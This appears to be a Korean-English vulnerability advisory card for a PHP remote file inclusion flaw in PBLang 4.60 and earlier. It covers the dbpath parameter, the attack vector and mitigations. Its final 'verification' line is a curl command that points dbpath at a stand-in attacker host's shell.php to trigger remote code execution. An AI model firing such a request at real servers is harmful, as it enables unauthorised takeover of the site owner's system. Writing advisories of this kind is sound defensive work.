🇰🇷 한글 설명
PBLang 4.60 이하 버전의 index.php에서 dbpath 매개변수를 통한 PHP 원격 파일 포함(RFI) 취약점입니다. 공격자가 악의적인 URL을 dbpath 매개변수에 입력하여 임의의 원격 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
PBLang 웹 애플리케이션이 사용자 입력으로 받은 파일 경로를 검증하지 않아, 공격자가 원격 서버의 악성 파일을 로드하고 실행할 수 있는 취약점입니다. 이를 통해 서버 전체가 장악될 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in PBLang (PBL) 4.60 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the dbpath parameter, a different vector than CVE-2006-5062. NOTE: this issue has been disputed by a reliable third party for 4.65, stating that the dbpath variable is initialized in an included file that is created upon installation
📍 영향받는 시스템
PBLang (PBL) 4.60 및 이전 버전
⚔️ 공격 벡터
index.php의 dbpath 매개변수에 원격 파일 URL을 입력하여 PHP 코드 실행 유도
🛡️ 대응 방법
PBLang을 4.61 이상으로 업그레이드하거나, PHP allow_url_include 설정 비활성화 및 입력값 검증 강화
🔧 검증 코드
요청 응답에서 에러나 경고, 코드 실행 흔적이 있으면 취약점 존재 확인
curl -s 'http://target/index.php?dbpath=http://attacker.com/shell.php' | grep -i 'error\|warning\|executed'